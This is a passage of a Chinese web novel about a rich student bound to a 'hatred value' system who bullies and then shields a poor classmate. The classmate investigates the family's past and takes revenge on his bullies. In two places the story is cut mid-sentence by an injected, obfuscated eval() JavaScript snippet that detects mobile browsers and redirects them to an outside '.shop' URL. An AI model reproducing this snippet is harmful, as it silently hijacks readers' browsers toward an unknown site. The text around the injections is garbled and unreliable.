褚含舟的呼吸明显急促起来,他伸手想抢回照片,又在半途硬生生停住:“……这个是去年篮球赛。” 【仇恨值+8,当前70/100】 系统兴奋地喊道。 【对对对!就是这样!】 祁云照却突然笑了。 他把照片塞回褚含舟手里,指尖故意划过对方掌心:“想要我照片就直说。” 褚含舟猛地攥紧照片,指节发白。 祁云照能看到他太阳穴附近跳动的青筋,和死死咬住的下唇。 【仇恨值-5,当前65/100】 系统崩溃了。 【这到底什么情况!】 祁云照套上卫衣,布料摩擦过头发时带起静电,几根头发翘了起来。 他对着镜子整理头发,发现褚含舟正盯着他看,眼神复杂得像是要把他的模样刻进脑海里。 “袜子。”祁云照坐在穿衣凳上,伸出脚。 褚含舟蹲下身,膝盖磕在地板上发出闷响。 他从抽屉里取出一双棉袜,动作小心得像在对待什么易碎品。 祁云照的脚踝很细,踝骨突出,皮肤在晨光中白得几乎透明。 当褚含舟的手指碰到他脚心时,祁云照突然缩了一下:“凉。” 褚含舟立刻把手在衣服上擦了擦,又呵了口气才继续。 这次他的指尖温热。 “好了。”褚含舟顺便帮他穿好鞋,系好鞋带,声音有些哑。 祁云照站起身,卫衣下摆随着动作掀起一角,露出腰侧一小片皮肤。 褚含舟的视线像被烫到一样迅速移开,却又忍不住偷偷看回来。 “你今天怪怪的。”祁云照突然凑近,近到能数清褚含舟的睫毛,“在想什么?” 褚含舟的喉结滚动了一下:“……没有。” 祁云照轻笑一声,伸手拨开他额前的碎发。 那里原本有道伤口,但这家伙恢复能力有点过于强了。 伤口已经结痂,变成一道粉色的细线。 他拇指按在伤疤上,满意地感受到褚含舟瞬间绷紧的肌肉。 “疼吗?”他故意用指腹碾过结痂处。 褚含舟的呼吸明显乱了:“...不疼。” “啧。”祁云照收回手,“你这里,”他点了点褚含舟的太阳穴,“一跳一跳的。” 褚含舟猛地后退一步,后背撞上衣柜。 【仇恨值+10,当前75/100!】 【仇恨值-7,当前68/100!】 【数值异常波动!警告!】 祁云照在心里嗤笑一声,转身走向书桌。 他的书包已经收拾好了,连水杯都装满了温蜂蜜水。 他随手翻了下课本,发现重点章节都贴着彩色索引贴,字迹工整得像印刷体。 “你帮我整理的?”他晃了晃课本。 褚含舟点点头,目光落在祁云照握着书的手指上。 那双手骨节分明,指甲修剪得圆润整齐。 祁云照突然把书扔过去:“重做。我要荧光粉的标签,不是这种恶心的鹅黄色。” 课本“啪“地砸在褚含舟胸口,他接住。 祁云照能看到他咬肌绷紧的弧度。 【仇恨值+15,当前83/100!】 系统欢呼。 【终于上去了!】 但下一秒,褚含舟深吸一口气,轻声说:“……我知道了。” 【仇恨值-10,当前73/100】 系统发出短路般的杂音。 【这不科学……】 祁云照拎起书包走向门口,欢欢追着他汪汪叫。 他弯腰揉了揉小狗的脑袋:“今天你自己玩。” 说完瞥了眼褚含舟,“喂过它了吗?” “早上喂的。”褚含舟跟上来,手里拿着祁云照落下的手机,“今天还回来吗?” 祁云照挑眉:“怎么?” “校医说……要按时吃药。”褚含舟的声音越来越小。 “不回来了。”祁云照开口,“我爸叫我回家。” 褚含舟的手指蜷了一下:“……几天?” “不知道。”祁云照推开门,阳光倾泻而入,“看心情。” 他头也不回地走向停在楼下的黑色轿车,但能感觉到褚含舟的目光一直追随着他。 【宿主!】系统急得乱码,【仇恨值又开始波动了!73→68→75→70……】 “闭嘴。”祁云照坐进车里,透过车窗看到褚含舟依然站在门口。 阳光将他的影子拉得很长。 车子启动时,祁云照突然按下车窗:“喂!” 褚含舟像触电般抬头。 “把欢欢的玩具洗了。”祁云照勾起嘴角,“我回来要检查。” 【仇恨值+5,当前75/100】 【仇恨值-3,当前72/100】 系统的电子音在脑海中炸响。 祁云照关上车窗。 车子驶出校园,汇入主干道的车流。 祁云照的跑车驶离圣帝安学院,他单手扶着方向盘,另一只手拨通了管家的电话。 “查一下褚含舟。”他开门见山,“重点是家庭背景,尤其是……他和他父母的血缘关系。” 电话那头的管家似乎愣了一下,但很快恢复专业:“少爷是指……亲子鉴定?” “嗯。”祁云照的指尖在方向盘上轻轻敲击,“越快越好。” 挂断电话后,系统的电子音立刻在他脑海里炸开。 【宿主!您终于开始关注原著剧情了!】 祁云照嗤笑一声:“你哪只眼睛看到我在关注剧情?” 【您不是要查褚含舟的家庭吗?】系统的声音带着几分雀跃,【原著里您父亲确实——】 “我只是好奇。”祁云照打断它,“一个贫民窟出来的,为什么能考进圣帝安?为什么能忍到这种地步?” 系统卡壳了:【……啊?】 祁云照的眼底闪过一丝玩味:“你不觉得奇怪?他如果是普通人,被我这么折腾,早该崩溃了。” 系统沉默几秒,突然恍然大悟:【宿主是怀疑……褚含舟不是他名义上父母亲生的?】 “不然呢?”祁云照懒洋洋地反问,“而且我爹是什么慈善家吗?无缘无故去帮扶一个贫民窟的家庭?” 而且后面还让他家破人亡? 谁会和蚂蚁过不去。 系统彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15612261|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懵了:【……】 祁云照没再理会它,将车停在一栋豪华别墅前。 祁家的主宅占地极广,几名佣人早已站在门口等候。 他推门下车,径直走向书房。 与此同时,圣帝安学院的电脑教室里。 褚含舟坐在角落的电脑前,屏幕上是密密麻麻的搜索记录。 “祁氏集团”“祁云照”“圣帝安校董名单”。 他的指尖在键盘上停顿了一瞬,又输入了新的关键词:“祁家十年前收养”。 “同学们,今天的任务是完成编程练习。”老师拍了拍手,“下课前我会检查每个人的进度,现在开始吧。” 教室里顿时响起此起彼伏的键盘声。 褚含舟的视线扫过屏幕,突然点开了一个尘封已久的新闻页面—— 《祁氏集团前首席财务官车祸身亡,遗孤下落不明》 配图是一张模糊的旧照,一个西装革履的男人抱着一个小男孩,站在祁氏集团的大楼前。 褚含舟的瞳孔骤然收缩。 就在这时,教室的灯突然熄灭,电脑屏幕齐齐黑屏。 “怎么回事?”有学生惊呼。 老师皱眉:“可能是电路问题,大家先出去,我去看看电闸。” 学生们抱怨着起身,三三两两地往外走。 褚含舟正要关机,突然发现自己的电脑仍亮着,他的座位靠近备用电源接口。 他迅速将新闻页面保存,刚准备关闭,身后传来一声冷笑。 “哟,贫困生还挺用功?” 褚含舟猛地关上页面,但已经来不及了。 三个男生围了上来,为首的正是之前被祁云照教训过的红发男生。 “查什么呢?这么认真?” 红发男生一把按住他的键盘,俯身凑近屏幕,“该不会是在偷看什么不该看的东西吧?” 褚含舟的眼神瞬间冷了下来:“滚开。” 红发男生咧嘴一笑,非但没松手,反而猛地一推,将褚含舟的椅子往后一拽! “砰!” 褚含舟的后背狠狠撞上桌沿,疼痛让他闷哼一声。 但他没给对方继续挑衅的机会,猛地起身,一把扣住红发男生的手腕,反向一拧—— “啊——!” 红发男生惨叫一声,还没反应过来,褚含舟已经一拳砸在他脸上! “砰!” 鼻血瞬间喷涌而出,红发男生踉跄着后退,撞翻了两张椅子。另外两人见状,立刻扑了上来。 “操!找死!” 褚含舟侧身躲开第一人的拳头,反手抓住他的衣领,猛地往下一拽,膝盖狠狠顶上对方腹部! “呃啊——!” 那人痛得蜷缩在地,而第三个人已经抄起键盘砸向褚含舟的后脑。 褚含舟像是背后长了眼睛,猛地偏头,键盘擦着他的耳际砸空。 下一秒,他回身一记肘击,直接撞在那人喉结上! “咳——!” 对方捂着脖子踉跄后退,脸色涨红,几乎窒息。 红发男生捂着鼻子爬起来,满脸是血,眼神又惊又怒:“你他妈——!” 褚含舟没给他说完的机会,抄起桌上的水杯,狠狠砸了过去! “哐——!” 水杯擦着红发男生的太阳穴飞过,砸在墙上,发出震耳的撞击声。 红发男生僵住了,脸色煞白。 褚含舟的眼神冷得像冰,声音低沉得可怕: “再碰我一下,下次就是你的脑袋。” 红发男生咽了咽口水,终于意识到。 这个平时沉默寡言的贫困生,根本不是他们能惹的。 “走……走!”他哆嗦着拽起同伴,踉跄着逃出教室。 褚含舟站在原地,呼吸微乱。 他闭了闭眼,再睁开时,眼底只剩下冰冷的平静。 弯腰捡起书包,他头也不回地离开了教室。 陆承昀正靠在走廊窗边,突然听到一阵慌乱的脚步声。 抬头一看,红发男生满脸是血,跌跌撞撞地冲过来,身后跟着两个同样狼狈的跟班。 “陆、陆哥!”红发男生喘着粗气,声音发抖,“那小子……褚含舟……他疯了!” 陆承昀皱眉:“怎么回事?” “我们本来只是想吓唬他一下,结果他直接动手!”红发男生指着自己血流不止的鼻子,声音里带着惊恐,“他差点杀了我!” 陆承昀的眼神微微一沉。 他推了推眼镜,镜片后的目光冷静,审视:“你们先动手的?” 红发男生一噎,随即咬牙道:“那又怎样?他一个下城区的垃圾,凭什么——” “闭嘴。”陆承昀冷冷打断他,“祁少说过,他的东西,别人不能碰。” 红发男生脸色一僵,随即不甘心地低吼:“陆哥!那小子在查祁家!他在电脑上翻十年前的新闻!” 陆承昀的手指微微一顿。 “十年前?” “对!好像是关于祁氏高管的!”红发男生压低声音,“我怀疑他有什么阴谋……” 陆承昀的眼神彻底冷了下来。 他正要开口,手机突然响了。 屏幕上赫然显示着—— “祁云照”。 8. 第 8 章 祁云照站在落地窗前,手机贴在耳边,嘴角噙着一丝漫不经心的笑。 “陆承昀。”他的声音温和得近乎优雅,“听说,有人动了我的东西?” 电话那头,陆承昀的呼吸微不可察地一滞。 “云照,这件事我可以解释——“ “解释什么?”祁云照轻轻打断他,“是我说得不够清楚,还是你听不懂人话?” 他的语气依然带着笑意,却让电话那头的陆承昀后背沁出一层冷汗。 “我......” “打狗还要看主人。”祁云照慢条斯理地说完,直接挂断了电话。 刚刚系统给他播报褚含舟的数值,他就觉得波动太大。 果不其然……是有人找麻烦。 书房门突然被推开。 祁父沉着脸走进来,手里捏着一份文件。 “学校那边刚刚汇报,你又闹出事了?”祁父的声音压着怒意,“把同学当狗?祁云照,你是不是觉得祁家能永远替你兜着?!” 祁云照连眼皮都没抬一下,语气冷淡:“说完了?” 祁父的脸色更难看了:“你——” “说完我就出门了。”祁云照径直走向门口,连一个眼神都没分给他。 祁父猛地攥住他的手腕,力道大得几乎要捏碎骨头:“你到底有没有把我这个父亲放在眼里?!” 祁云照终于抬眼看他,漆黑的眸子里没有一丝温度:“放手。” 祁父被他的眼神震住,下意识松了力道。 祁云照抽回手,头也不回地离开。 烦躁……真是不顺心。 祁云照看着手机里,其他同学汇来的消息。 红头发的那个?上次教训得还不够? 还有陆承昀……真是越来越不讨人喜欢了。 他拉开车门,系统忍不住冒出来:【宿主,您要去哪儿?】 祁云照冷笑一声:“见一下这个世界的天之骄子……亲妈!” 黑色的跑车停在污水横流的巷口,与周围的环境格格不入。 祁云照皱眉下车,昂贵的皮鞋踩在潮湿的地面上,脸上写满厌恶。 “这种地方......“他用手帕掩住口鼻,挡住空气中腐烂的臭味,“真有人能住?” 系统小声嘀咕:【宿主,我们是来找褚含舟母亲的......】 祁云照没理会,径直走向一栋摇摇欲坠的老楼。 楼梯间的灯早就坏了,墙壁上爬满霉斑,角落里堆满发臭的垃圾。 一楼最里间的门虚掩着,里面传来剧烈的咳嗽声。 祁云照站在门口,透过门缝看去—— 一个瘦得脱形的女人蜷缩在破沙发上,脸色蜡黄,手背上插着输液管。 旁边的矮桌上摆着几瓶廉价药片,还有一张褪色的全家福。 照片里,年幼的褚含舟被女人搂在怀里,笑容干净。 祁云照的视线在女人脸上停留片刻,眼神渐渐沉了下来。 ——不像。 完全不像。 无论是骨相还是眉眼,这个女人和褚含舟都没有半分相似之处。 祁云照想了想,给管家发消息,让他送点东西过来。 然后…… 敲门。 褚含舟推开吱呀作响的铁门,手下意识背到背后。 他指关节的擦伤火辣辣地疼,但比起这个,他更担心母亲看到伤口后的反应。 不过他又不得不今天回来,好不容易祁云照不在…… “妈,我回——” 他的声音戛然而止。 破旧沙发上,绝对不该出现在这儿的少年正俯身为母亲调整输液管的速度。 家里的灯光因为长期不换,是很暗的昏黄,但落祁云照身上,像给整个人镀了层柔光。 祁云照站在这儿,让这个简陋的出租屋都显得不那么寒酸了。 “小舟!”母亲蜡黄的脸上泛起血色,挣扎着要坐起来,“你同学来看我了!说是你朋友……” 褚含舟的背包“砰”地掉在地上。 他看见祁云照转头对他微笑,那笑容温柔得体,仿佛他们真是亲密无间的好友。 “阿姨别动。”祁云照的声音像掺了蜜,轻轻按住他母亲肩膀,“您得多休息。” 他拿起茶几上的药盒看了看,“这个抗生素效果不太好,我明天让人送进口的来。” 母亲激动得直咳嗽:“这怎么好意思……” “应该的。”祁云照抬眼看向僵在门口的褚含舟,黑眼睛里闪过一丝玩味,“毕竟……我和含舟关系很好。” 褚含舟的指甲深深掐进掌心。 他看见祁云照脚边放着几个高档礼盒。 燕窝、虫草……全是他们这种人一辈子都摸不到的补品。 除此之外,母亲床头不知何时多了台崭新的空气净化器,正运转着。 “愣着干什么?”母亲嗔怪道,“快谢谢你同学!人家特意来看我,还买了这么多东西……” 祁云照起身,整理袖口:“不用谢。含舟在学校很照顾我。” 他走向褚含舟,在他母亲看不见的角度,用只有两人能听见的声音说:“你妈妈……比我想象的年轻。” 褚含舟的瞳孔骤然收缩。 祁云照擦过他身边时,那股若有若无的冷香钻进鼻腔,让他都听不清祁云照说什么。 “我该走了。”祁云照对母亲颔首,“阿姨好好养病。” 母亲急得直拍沙发扶手:“小舟!快去送送你同学!” 老旧楼道里,祁云照的脚步不紧不慢。 褚含舟跟在他身后,盯着那截白皙的后颈,呼吸越来越重。 转过楼梯拐角,确认母亲听不见后,他猛地拽住祁云照手腕将人按在墙上! “你想干什么?”褚含舟声音压得极低,“有什么事冲我来,别碰我妈!” 祁云照的后背撞在墙面上,吃痛,眉毛动了一下。 他垂眼看了看褚含舟青筋暴起的手,轻笑一声:“就这点力气?白天打人的狠劲呢?” 褚含舟的拳头擦着祁云照耳际,却只是砸在墙上。 “嘘——”祁云照突然凑近,温热的呼吸喷在他耳畔,“这么大声,不怕你妈妈听见?” 这句话像盆冰水浇在褚含舟头上。 他浑身一僵,手上力道不自觉地松了。 祁云照顺势抽出手腕,慢条斯理地抚平袖口的褶皱:“你妈妈人还是不错的 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祁云照拉开车门,见褚含舟还站在原地,不耐烦地叩了叩车顶:“要我请你?” 车内暖气开得很足。 褚含舟紧贴车门坐着,仿佛这样就能离祁云照远些。 “手。”祁云照突然说。 褚含舟下意识把手藏到身后。 祁云照直接拽过他手腕,从储物格取出医药箱。 碘伏棉球按在伤口上时,褚含舟一向不怕疼,此刻却浑身一颤。 “废物。”祁云照嗤笑,手上力道却放轻了,“打人的时候不是挺凶?” 褚含舟盯着他低垂的睫毛,心跳突然漏了半拍。 这个角度能看到祁云照鼻梁上有一颗很淡的小痣,日常……都没注意到。 “看什么?”祁云照突然抬眼。 褚含舟仓促移开视线:“……没什么。” 祁云照扔掉棉签,靠回座椅:“那几个垃圾,你打算怎么处理?” 褚含舟一怔:“什么?” “别装傻。”祁云照斜睨他一眼。 车内陷入沉默。 褚含舟看着窗外飞逝的景色,良久才开口:“……红毛他爸在税务局工作,有个情妇住在城东。” 他声音很轻,“私生子今年刚上小学。” 祁云照挑眉:“继续。” “高个子的……“褚含舟顿了顿,“他家开的连锁超市,生鲜区供应商就……我家附近。” 他家附近那环境,可不是能供应东西的。 “有意思。”祁云照轻笑,“那陆承昀呢?” 褚含舟的呼吸明显一滞。 “怎么,没查到?”祁云照凑近他,“还是……顾虑我?” “他父亲……“褚含舟声音发紧,“上个月刚收购的制药厂,手段也不怎么正常。” 祁云照突然大笑起来,笑得肩膀都在抖:“果然咬人的狗不叫。” 他伸手捏住褚含舟下巴,“这么记仇,以后打算怎么对我……” 话说到一半停住,祁云照松开手。 9. 第 9 章 “滚下去。” 祁云照的声音很轻。 他手指在方向盘上轻轻敲击,眼睛盯着前方道路,仿佛刚才那句话只是随口一提今天天气不错。 褚含舟的身体明显僵住了,他的手指无意识地抓紧了安全带,指节泛白。 “什么?”他的声音有些干涩,像是没听清,又像是不敢相信自己听到的。 “我说,”祁云照终于转过头,“滚下去。现在,立刻。” 车停在路边,路灯昏黄的光透过车窗洒在祁云照脸上,将他半边脸镀上一层金色,另外半边则隐在阴影里。 他的眼睛在暗处闪着冷光,褚含舟觉得……像某种夜行动物。 【警告!仇恨值加15,当前90/100!】 系统的电子音在祁云照脑海中炸响。 【宿主!您疯了吗?这个数值已经接近危险阈值了!】 褚含舟的喉结滚动了一下,他缓缓松开安全带。 车门打开,冷风灌了进来,吹乱了祁云照额前的碎发。 “为什么?”褚含舟开口,声音低得几乎听不见。 祁云照嗤笑一声,伸手将额前的头发拨到脑后:“你今天做了什么?” 他的目光扫过褚含舟苍白的脸,“像条死鱼一样,那些家伙这样做,你还只是小打小闹地还回去?连点像样的反抗都没有。” “哦!还有……不能反抗我。” 路边有几个行人好奇地看过来,有人认出了祁云照的车,窃窃私语声顺着风飘进车内。 祁云照不耐烦地按了下喇叭,吓得那几个路人匆匆走开。 【宿主!您看看仇恨值!90了!这还叫不反抗?】 系统几乎是在尖叫。 【按照原著剧情,这个数值他应该已经计划怎么弄死您了!】 “闭嘴。”祁云照在脑海中冷冷地回应,“我说他软弱就是软弱。” 褚含舟站在寒风中,单薄的衣服被风吹得紧贴在身上,勾勒出瘦削的轮廓。 他的眼睛黑得吓人。 “看什么看?”祁云照挑眉,“舍不得走?还是说——” 他故意拖长音调,“你想让我亲自‘请’你下去?” 【仇恨值加5,当前95/100!危险!危险!】系统的警报声刺得祁云照太阳穴突突直跳。 褚含舟猛地站起来,像是被祁云照的话烫到了。 他的嘴唇动了动,最终却什么也没说,只是转身走向人行道。 “无趣。” 祁云照一脚油门踩到底,跑车发出轰鸣声,箭一般冲了出去。 后视镜里,褚含舟的身影越来越小,最后变成一个黑点,消失在夜色中。 【宿主!我不明白!】 【褚含舟明明已经——】 “你太吵了。”祁云照冷冷地打断它,“我说他软弱,是因为他明明有能力反抗,却选择忍耐。” 他的手指收紧方向盘,“那种眼神……他在计划什么,但就是不肯直接冲我来。” 系统沉默了几秒,等等……是他想的那个意思吗? 是他该去精神病院看看,还是宿主应该过去。 【所以您是在……激怒他?】 祁云照没有回答。 街灯的光在他脸上忽明忽暗。 车内的暖气开得很足,但祁云照却莫名想起褚含舟。 那家伙只穿了件单薄的校服,这个点公交早就停了,他要走多久才能回到学校? “关我什么事。”祁云照低声自语,又踩了一脚油门。 【仇恨值波动:95→92→94→90……】 系统小心翼翼地播报。 【宿主,他的情绪很不稳定。】 祁云照的嘴角勾起一抹笑:“那不是很有趣吗?” 褚含舟走在空无一人的街道上,寒风像刀子一样刮在脸上。 手指被冻得发麻,却固执地不肯插进口袋,自虐般的痛苦能让他保持清醒。 祁云照的车早已看不见踪影。 “无趣……吗?” 褚含舟喃喃自语,呼出的白气在空气中迅速消散。 他的脚步不自觉地慢了下来。路边商店的橱窗映出他的样子。 头发被风吹得乱糟糟的,嘴角还有白天打架留下的淤青,整个人看起来狼狈不堪。 褚含舟盯着橱窗里的倒影,突然一拳砸了上去。 “砰!” 玻璃震动发出巨响,好在质量够好没有碎裂。他的手背传来尖锐的疼痛,指关节处原本已经结痂的伤口又裂开了,鲜血顺着玻璃缓缓流下。 “嘿!干什么呢!”商店里冲出来一个店员,怒气冲冲地挥舞着拖把,“要发疯滚远点!” 褚含舟面无表情地看了他一眼,转身继续往前走。 血从他的手背滴落,在地上留下一个个暗红色的小点。 他的思绪飘回刚才在车里的对话。 祁云照怎么会知道那些事? 关于他的母亲,关于他的身世……那个高高在上的少爷到底调查了多少? 他到底想干什么?! 当然,这一切问题都不重要。 因为祁云照捏着他下巴说“这么记仇,以后打算怎么对我”,他居然有一瞬间的恍惚。 那个距离太近了,近到他能数清祁云照的睫毛,闻到他身上若有若无的体香。 “疯子……” 褚含舟低声骂了一句,不知道是在说祁云照还是他自己。 远处,公交站路牌隐约可见。 褚含舟过去看了一下站台,又估算了一下,至少还要走四十分钟。 他的胃开始抗议,这才想起自己从中午到现在什么都没吃。 路过一家便利店,褚含舟摸了摸口袋,里面只有几枚硬币。 他犹豫了一下,还是推门走了进去。 “欢迎光临。”收银员头也不抬地打着游戏。 褚含舟拿了一个最便宜的面包,走到收银台前。 收银员扫了一眼他流血的手,皱了皱眉:“打架了?” “嗯。”褚含舟不想多解释,把硬币放在柜台上。 收银员数了数,撇撇嘴:“还差两块。” 褚含舟抿了抿唇,正准备把面包放回去,一只涂着红色指甲油的手突然伸过来,放了两枚硬币在柜台上。 “我帮他付。” 褚含舟转头,看到一个穿着时髦的女生正对他微笑。 她看起来和褚含舟差不多大,但妆容精致,耳朵上挂着一串闪亮的耳环。 “谢谢,不用了。” 褚含舟冷淡地说,把面包放回货架。 女生愣了一下,随即笑得更灿烂了:“你是圣帝安的学生吧?我也是!我叫林——” “我不感兴趣。”褚含舟打断她,转身走出便利店。 寒风立刻包围了他,但比起外面的冷,他更受不了里面那种怜悯的目光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15612263|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个女生看他的眼神,就像在看一条流浪狗。 褚含舟加快脚步,仿佛这样就能甩掉脑海里那些混乱的思绪。 “该死!”褚含舟一拳打在路边的树上。 【仇恨值波动:92→88→90→93……】 系统尽职地播报着。 祁云照靠在宿舍的沙发上,手里把玩着一个打火机,开合间发出清脆的“咔嗒”声。 欢欢趴在他脚边,时不时用湿漉漉的鼻子蹭蹭他的拖鞋。 “那不是很好吗?”祁云照漫不经心地回答系统,“至少比之前那种死气沉沉的样子强多了。” 【但按照原著,这个阶段他应该——】 “我说过多少次了,”祁云照的声音冷了下来,“别拿那本破书来烦我。” 欢欢突然竖起耳朵,冲着门口“汪汪”叫了两声。 祁云照抬头,就看到陆承昀站在门口,手里拿着一叠文件。 “云照。”陆承昀微笑着走进来,金丝眼镜后的眼睛弯成两道月牙,“听说你回来了?怎么不告诉我一声,我可以去接你。” 祁云照懒洋洋地打了个哈欠:“有事?” 陆承昀的笑容僵了一瞬,很快又恢复自然。 他在祁云照对面坐下,将文件放在茶几上:“董事会的一些资料,需要你过目。” 欢欢凑过去闻了闻文件,打了个喷嚏,又趴回祁云照脚边。 祁云照看都没看那些文件一眼,只是继续玩着他的打火机。 “还有件事……”陆承昀推了推眼镜,声音压低,“关于褚含舟。” 祁云照的手指顿了一下,打火机的火焰在空中划出一道弧线:“说。” “他今天在电脑教室查了一些……不太合适的东西。” 陆承昀的声音很轻,“关于祁家,十年前……” 祁云照突然笑了,那笑容让陆承昀不自觉地往后靠了靠:“哦?他都查到了什么?” “主要是关于……祁氏前CFO的那起车祸。” 陆承昀谨慎地选择着措辞,“还有那个失踪的孩子。” 欢欢似乎感受到气氛的变化,不安地呜咽了一声。 祁云照伸手揉了揉它的脑袋,眼睛却一直盯着陆承昀:“继续说。” “我觉得他接近你可能别有用心。”陆承昀的声音带着恰到好处的担忧,“云照,这种人很危险,他——” “那不是很有趣吗?”祁云照打断他,“一只小老鼠想咬狮子?” 陆承昀愣住了,显然没料到祁云照会是这种反应:“但是——” “陆承昀。”祁云照突然凑近,近到陆承昀能闻到他身上淡淡的香味,“你觉得我现在选择的都有错?” 陆承昀的喉结滚动了一下:“不、不是……我只是担心你……” 祁云照靠回沙发,懒洋洋地摆了摆手:“行了,我知道了。你可以走了。” 陆承昀站起身,犹豫了一下又补充道:“那个……红毛他们几个,伤得不轻。褚含舟下手太狠了,我觉得这种人留在学校——” “陆承昀。”祁云照的声音冷得像冰,“你话太多了。” 陆承昀的脸色瞬间变得煞白。 他匆匆拿起包,几乎是落荒而逃。 门关上。 祁云照抬头,盯着天花板看了几秒,突然轻笑出声。 “系统。”他在脑海中呼唤,“你说,一只小老鼠要花多久才能找到狮子的弱点?” 10. 第 10 章 祁云照是被欢欢湿漉漉的鼻子蹭醒的。 他皱眉,下意识挥手想赶开这团毛茸茸的热源,却摸了个空。睁开眼,萨摩耶正蹲在床边,见他醒了立刻兴奋地摇尾巴,前爪扒拉着床单,发出呜呜的撒娇声。 “几点了?”祁云照声音沙哑,伸手去摸床头柜的手机。 屏幕亮起,锁屏上显示8:23,还有十几条未读消息。 他随意划开最上面一条,是学生会群里的讨论—— 【红毛家出事了!他爸被实名举报包养情妇,纪委已经介入调查!】 【听说他妈今早直接杀到小三住处,把人家门都砸了】 【更绝的是另一位吧?连锁超市被爆出生鲜区以次充好,食品安全局的人正在查封】 祁云照的指尖在屏幕上顿了一下,睡意顿时消散。 他点开详情,消息刷得飞快,各种截图和小道消息混杂在一起。 最引人注目的是一张模糊的照片:红毛的父亲被记者围堵在办公楼前,西装凌乱,脸色惨白。 “啧。”祁云照轻嗤一声,掀开被子下床。 欢欢立刻跟上来,绕着他的脚踝打转。 【宿主早上好!】 系统的电子音突然在脑海中响起,【检测到剧情线出现波动!】 祁云照赤脚踩在柔软的地毯上,走向浴室:“红毛家的事是你干的?” 【怎么可能!】系统声音拔高,【本系统只负责监测和指导,不能直接干预世界运行!】 冷水拍在脸上,祁云照抬头看向镜中的自己。水珠顺着下颌线滑落,黑发凌乱地贴在额前,眼下有淡淡的青色—— 昨晚睡得太晚。 “那是谁?”他扯过毛巾擦脸,语气漫不经心,“总不会是巧合。” 系统沉默了几秒:【根据数据分析……很可能是褚含舟。】 祁云照的动作顿住,毛巾垂在脸侧:“他?” 脑海中闪过昨晚车里少年苍白的脸和紧抿的唇,“他有这本事?” 【宿主别忘了,】系统的电子音突然变得严肃,【褚含舟是这个世界的气运之子,也就是俗称的“主角”。】 祁云照推开浴室门,欢欢立刻叼来拖鞋放在他脚边。 他弯腰揉了揉狗狗的脑袋,思绪却飘向别处:“所以?” 【所以……】系统似乎在斟酌用词,【按照这个世界的底层逻辑,所有伤害过主角的人,最终都会遭到报应。就像红毛,他昨天刚欺负了褚含舟,今天就……】 “天道好轮回?”祁云照冷笑,走向衣帽间。 他的手指在一排衬衫上滑过,最终选了件深灰色的,“那按照这个逻辑,我是不是也该遭报应了?” 系统突然卡壳,发出滋滋的电流声:【这个……理论上……是的。】 祁云照系扣子的手指微微一顿,镜中映出他嘴角勾起的弧度:“有意思。” 衣帽间的灯光很亮,照得他皮肤几乎透明。 祁云照慢条斯理地打好领带,突然问道:“他现在在哪?” 【褚含舟?】系统调出数据,【呃……他昨晚没回宿舍,今早直接去了教室。】 祁云照挑眉:“一夜未归?” 他想起自己昨晚把人丢在半路的情景,“查查他昨晚去哪了。” 【宿主,】系统小心翼翼地说,【我的权限只能监测主角的情绪值和基础动向,不能——】 “废物。”祁云照打断它,拿出手机拨通了一个号码,“林叔,查一下褚含舟昨晚的行踪。还有,我要他全部的资料,越详细越好。” 挂断电话,他走向客厅。 茶几上还放着不知道哪天没喝完的红酒,旁边是褚含舟用过的医药箱。 祁云照盯着那些棉签和碘伏看了几秒,突然抬脚将医药箱踢翻。 “砰!” 欢欢吓得一哆嗦,躲到了沙发后面。 【宿主冷静!】系统惊慌失措。 “闭嘴。”祁云照冷冷地说。 不知道为什么,他心烦意乱。 他拿起手机,红毛家的新闻已经上了热搜。 点开评论区,各种阴谋论层出不穷。 有人爆料红毛父亲不仅包养情妇,还涉嫌贪污受贿;甚至有人翻出红毛初中时就校园霸凌的黑历史。 每一件事都证据确凿,时间点精准。 祁云照的指尖在屏幕上轻轻敲击:“系统,你确定这是‘天道报应’,而不是人为操作?” 【这个……】系统支支吾吾,【按照原著设定,气运之子确实会受到世界法则的偏爱。所有伤害他的人都会以各种方式自食恶果……但具体表现形式可能有差异……】 “也就是说,”祁云照眯起眼睛,“不管我对他做什么,最后倒霉的都是我?” 系统沉默了几秒:【理论上……是的。但宿主作为重要反派,剧情保护机制会——】 “我不需要什么保护机制。”祁云照突然笑了,那笑容让系统感到一阵寒意,“我倒要看看,这个‘天道’能拿我怎么样。” 不知道为什么……祁云照总觉得不是第一次了…… 很莫名的熟悉感。 听到系统说天道的时候,他甚至觉得反胃。 他走向门口,欢欢立刻追上来,用鼻子蹭他的手心。 祁云照弯腰拍了拍它的头:“乖,今天自己玩。” 阳光透过走廊的彩绘玻璃,在地上投下斑斓的光影。 祁云照走过拐角,突然停下脚步。 墙上挂着一幅圣帝安历届优秀毕业生的照片。最显眼的位置是十年前的那一届,照片中央站着一位西装笔挺的中年男子,他身边是个戴眼镜的男孩,看起来不过七八岁,笑容腼腆。 祁云照盯着那张照片看了很久,直到系统忍不住出声:【宿主?】 “查一下这个人。”他指着照片中的中年男子,“我要知道他和褚含舟有什么关系。” 【咦?】系统似乎很惊讶,【宿主怎么知道他们有关系?】 祁云照嘴角扯了扯。 很好……这蠢货来当系统也是……另一种方便手段? 祁云照走过拐角,点了一支烟。 他本想去图书馆查些资料,却在路过这处连接教学楼与行政楼的空中走廊时,听到了熟悉的声音。 “昨天在便利店……你还好吗?” 